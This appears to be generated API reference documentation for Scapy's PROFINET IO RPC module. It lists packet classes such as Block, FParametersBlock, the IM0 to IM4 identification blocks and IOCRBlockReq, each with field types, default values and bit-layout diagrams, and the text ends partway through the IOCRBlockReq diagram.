class scapy.contrib.pnio_rpc.Block(_pkt, /, *, block_type=0, block_length=None, block_version_high=1, block_version_low=0, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L338-L365]

	Bases: Packet

A generic block packet for PNIO RPC


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L356-L360]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Block                            


Block fields






	block_type

	ShortEnumField

	0



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	load

	StrLenField

	b''











	
payload_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L362-L365]

	A function for each block, to determine the length of
the payload






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L347-L354]

	








	
class scapy.contrib.pnio_rpc.BlockHeader(_pkt, /, *, block_type=None, block_length=None, block_version_high=1, block_version_low=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L325-L335]

	Bases: Packet

Abstract packet to centralize block headers fields


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. BlockHeader                         


BlockHeader fields






	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0















	
class scapy.contrib.pnio_rpc.DiagnosisItem(_pkt, /, *, UserStructureIdentifier=0, ChannelNumber=0, ChannelProperties=0, ChannelErrorType=0, ExtChannelErrorType=0, ExtChannelAddValue=0, QualifiedChannelQualifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1202-L1219]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |         CHANNELNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CHANNELPROPERTIES       |        CHANNELERRORTYPE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      EXTCHANNELERRORTYPE      |       EXTCHANNELADDVALUE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |   QUALIFIEDCHANNELQUALIFIER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DiagnosisItem                        


DiagnosisItem fields






	UserStructureIdentifier

	XShortField

	0



	ChannelNumber

	XShortField

	0



	ChannelProperties

	XShortField

	0



	ChannelErrorType

	XShortField

	0



	ExtChannelErrorType

	XShortField (Cond)

	0



	ExtChannelAddValue

	XIntField (Cond)

	0



	QualifiedChannelQualifier

	XIntField (Cond)

	0















	
class scapy.contrib.pnio_rpc.ExpectedSubmodule(_pkt, /, *, SubslotNumber=0, SubmoduleIdentNumber=0, SubmoduleProperties_reserved_2=0, SubmoduleProperties_reserved_1=0, SubmoduleProperties_DiscardIOXS=0, SubmoduleProperties_ReduceOutputSubmoduleDataLength=0, SubmoduleProperties_ReduceInputSubmoduleDataLength=0, SubmoduleProperties_SharedInput=0, SubmoduleProperties_Type=0, DataDescription=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1062-L1084]

	Bases: Packet

Description of a submodule in an API of an expected submodule


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1083-L1084]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SUBSLOTNUMBER         |      SUBMODULEIDENTNUMBER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |SUBMODULEPROPER|SUB|S|S|S|S|SUB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DATADESCRIPTION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ExpectedSubmodule                      


ExpectedSubmodule fields






	SubslotNumber

	XShortField

	0



	SubmoduleIdentNumber

	XIntField

	0



	SubmoduleProperties_reserved_2

	XByteField

	0



	SubmoduleProperties_reserved_1

	BitField  (2 bits)

	0



	SubmoduleProperties_DiscardIOXS

	BitField  (1 bit)

	0



	SubmoduleProperties_ReduceOutputSubmoduleDataLength

	BitField  (1 bit)

	0



	SubmoduleProperties_ReduceInputSubmoduleDataLength

	BitField  (1 bit)

	0



	SubmoduleProperties_SharedInput

	BitField  (1 bit)

	0



	SubmoduleProperties_Type

	BitEnumField

	0



	DataDescription

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.ExpectedSubmoduleAPI(_pkt, /, *, API=0, SlotNumber=0, ModuleIdentNumber=0, ModuleProperties=0, NumberOfSubmodules=None, Submodules=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1087-L1102]

	Bases: Packet

Description of an API in the expected submodules blocks


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1101-L1102]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |       MODULEIDENTNUMBER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        MODULEPROPERTIES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NUMBEROFSUBMODULES      |           SUBMODULES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ExpectedSubmoduleAPI                     


ExpectedSubmoduleAPI fields






	API

	XIntField

	0



	SlotNumber

	XShortField

	0



	ModuleIdentNumber

	XIntField

	0



	ModuleProperties

	XShortField

	0



	NumberOfSubmodules

	FieldLenField

	None



	Submodules

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.ExpectedSubmoduleBlockReq(_pkt, /, *, block_type=260, block_length=None, block_version_high=1, block_version_low=0, NumberOfAPIs=None, APIs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1105-L1120]

	Bases: Block

Expected submodule block request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|          NUMBEROFAPIS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              APIS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ExpectedSubmoduleBlockReq                  


ExpectedSubmoduleBlockReq fields






	block_type

	ShortEnumField

	260



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	NumberOfAPIs

	FieldLenField

	None



	APIs

	PacketListField

	[]











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1116-L1120]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request










	
class scapy.contrib.pnio_rpc.ExpectedSubmoduleDataDescription(_pkt, /, *, DataDescription=0, SubmoduleDataLength=0, LengthIOCS=0, LengthIOPS=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1048-L1059]

	Bases: Packet

Description of the data of a submodule


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1058-L1059]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DATADESCRIPTION        |      SUBMODULEDATALENGTH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   LENGTHIOCS  |   LENGTHIOPS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ExpectedSubmoduleDataDescription               


ExpectedSubmoduleDataDescription fields






	DataDescription

	XShortEnumField

	0



	SubmoduleDataLength

	ShortField

	0



	LengthIOCS

	ByteField

	0



	LengthIOPS

	ByteField

	0















	
class scapy.contrib.pnio_rpc.FParametersBlock(_pkt, /, *, F_Prm_Flag1_Reserved_7=0, F_CRC_Seed=0, F_CRC_Length=0, F_SIL=2, F_Check_iPar=0, F_Check_SeqNr=0, F_Par_Version=1, F_Block_ID=0, F_Prm_Flag2_Reserved=0, F_Passivation=0, F_Source_Add=0, F_Dest_Add=0, F_WD_Time=0, F_WD_Time_2=0, F_iPar_CRC=0, F_Par_CRC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L559-L594]

	Bases: Packet

F-Parameters configuration block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|F|F|F C|F S|F|F|F P|F BLO|F P|F|          F SOURCE ADD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           F DEST ADD          |           F WD TIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          F WD TIME 2          |           F IPAR CRC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           F PAR CRC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. FParametersBlock                       


FParametersBlock fields






	F_Prm_Flag1_Reserved_7

	BitField  (1 bit)

	0



	F_CRC_Seed

	BitField  (1 bit)

	0



	F_CRC_Length

	BitEnumField

	0



	F_SIL

	BitEnumField

	2



	F_Check_iPar

	BitField  (1 bit)

	0



	F_Check_SeqNr

	BitField  (1 bit)

	0



	F_Par_Version

	BitEnumField

	1



	F_Block_ID

	BitEnumField

	0



	F_Prm_Flag2_Reserved

	BitField  (2 bits)

	0



	F_Passivation

	BitField  (1 bit)

	0



	F_Source_Add

	XShortField

	0



	F_Dest_Add

	XShortField

	0



	F_WD_Time

	ShortField

	0



	F_WD_Time_2

	ShortField (Cond)

	0



	F_iPar_CRC

	XIntField (Cond)

	0



	F_Par_CRC

	XShortField

	0











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.pnio_rpc.IM0Block(_pkt, /, *, block_type=32, block_length=None, block_version_high=1, block_version_low=0, VendorIDHigh=0, VendorIDLow=0, OrderID=b'', IMSerialNumber=b'', IMHardwareRevision=0, IMSWRevisionPrefix=b'V', IMSWRevisionFunctionalEnhancement=0, IMSWRevisionBugFix=0, IMSWRevisionInternalChange=0, IMRevisionCounter=0, IMProfileID=0, IMProfileSpecificType=0, IMVersionMajor=1, IMVersionMinor=1, IMSupported=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L706-L727]

	Bases: Block

Identification and Maintenance 0


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|  VENDORIDHIGH |  VENDORIDLOW  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ORDERID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         IMSERIALNUMBER                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       IMHARDWAREREVISION      |IMSWREVISIONPRE|IMSWREVISIONFUN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|IMSWREVISIONBUG|IMSWREVISIONINT|       IMREVISIONCOUNTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IMPROFILEID          |     IMPROFILESPECIFICTYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IMVERSIONMAJOR| IMVERSIONMINOR|          IMSUPPORTED          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IM0Block                           


IM0Block fields






	block_type

	ShortEnumField

	32



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	VendorIDHigh

	ByteField

	0



	VendorIDLow

	ByteField

	0



	OrderID

	StrFixedLenField

	b''



	IMSerialNumber

	StrFixedLenField

	b''



	IMHardwareRevision

	ShortField

	0



	IMSWRevisionPrefix

	StrFixedLenField

	b'V'



	IMSWRevisionFunctionalEnhancement

	ByteField

	0



	IMSWRevisionBugFix

	ByteField

	0



	IMSWRevisionInternalChange

	ByteField

	0



	IMRevisionCounter

	ShortField

	0



	IMProfileID

	ShortField

	0



	IMProfileSpecificType

	ShortField

	0



	IMVersionMajor

	ByteField

	1



	IMVersionMinor

	ByteField

	1



	IMSupported

	ShortField

	0















	
class scapy.contrib.pnio_rpc.IM1Block(_pkt, /, *, block_type=33, block_length=None, block_version_high=1, block_version_low=0, IMTagFunction=b'', IMTagLocation=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L731-L739]

	Bases: Block

Identification and Maintenance 1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|         IMTAGFUNCTION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         IMTAGLOCATION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IM1Block                           


IM1Block fields






	block_type

	ShortEnumField

	33



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IMTagFunction

	StrFixedLenField

	b''



	IMTagLocation

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.IM2Block(_pkt, /, *, block_type=34, block_length=None, block_version_high=1, block_version_low=0, IMDate=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L743-L750]

	Bases: Block

Identification and Maintenance 2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             IMDATE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IM2Block                           


IM2Block fields






	block_type

	ShortEnumField

	34



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IMDate

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.IM3Block(_pkt, /, *, block_type=35, block_length=None, block_version_high=1, block_version_low=0, IMDescriptor=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L754-L761]

	Bases: Block

Identification and Maintenance 3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|          IMDESCRIPTOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IM3Block                           


IM3Block fields






	block_type

	ShortEnumField

	35



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IMDescriptor

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.IM4Block(_pkt, /, *, block_type=36, block_length=None, block_version_high=1, block_version_low=0, IMSignature=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L765-L772]

	Bases: Block

Identification and Maintenance 4


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|          IMSIGNATURE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IM4Block                           


IM4Block fields






	block_type

	ShortEnumField

	36



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IMSignature

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.IOCRAPI(_pkt, /, *, API=0, NumberOfIODataObjects=None, IODataObjects=[], NumberOfIOCS=None, IOCSs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L849-L865]

	Bases: Packet

API description used in IOCR block


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L864-L865]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NUMBEROFIODATAOBJECTS     |         IODATAOBJECTS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NUMBEROFIOCS         |             IOCSS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IOCRAPI                           


IOCRAPI fields






	API

	XIntField

	0



	NumberOfIODataObjects

	FieldLenField

	None



	IODataObjects

	PacketListField

	[]



	NumberOfIOCS

	FieldLenField

	None



	IOCSs

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.IOCRAPIObject(_pkt, /, *, SlotNumber=0, SubslotNumber=0, FrameOffset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L836-L846]

	Bases: Packet

API item descriptor used in API description of IOCR blocks


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L845-L846]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          FRAMEOFFSET          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IOCRAPIObject                        


IOCRAPIObject fields






	SlotNumber

	XShortField

	0



	SubslotNumber

	XShortField

	0



	FrameOffset

	ShortField

	0















	
class scapy.contrib.pnio_rpc.IOCRBlockReq(_pkt, /, *, block_type=258, block_length=None, block_version_high=1, block_version_low=0, IOCRType=1, IOCRReference=1, LT=34962, IOCRProperties_reserved3=0, IOCRProperties_reserved2=0, IOCRProperties_reserved1=0, IOCRProperties_RTClass=0, DataLength=40, FrameID=32768, SendClockFactor=32, ReductionRatio=32, Phase=1, Sequence=0, FrameSendOffset=4294967295, WatchdogFactor=10, DataHoldFactor=10, IOCRTagHeader_IOUserPriority=6, IOCRTagHeader_reserved=0, IOCRTagHeader_IOCRVLANID=0, IOCRMulticastMACAdd=None, NumberOfAPIs=None, APIs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L868-L910]

	Bases: Block

IO Connection Relationship block request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            IOCRTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IOCRREFERENCE         |               LT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|IOCRPROPERTIES |IOCRPROPERTIES RESERV|IOCRPROPERTIES RE|IOCRPRO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DATALENGTH          |            FRAMEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        SENDCLOCKFACTOR        |         REDUCTIONRATIO        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PHASE             |            SEQUENCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        FRAMESENDOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         WATCHDOGFACTOR        |         DATAHOLDFACTOR        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|IOCRT|I|IOCRTAGHEADER IOCRVLANI|      IOCRMULTICASTMACADD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
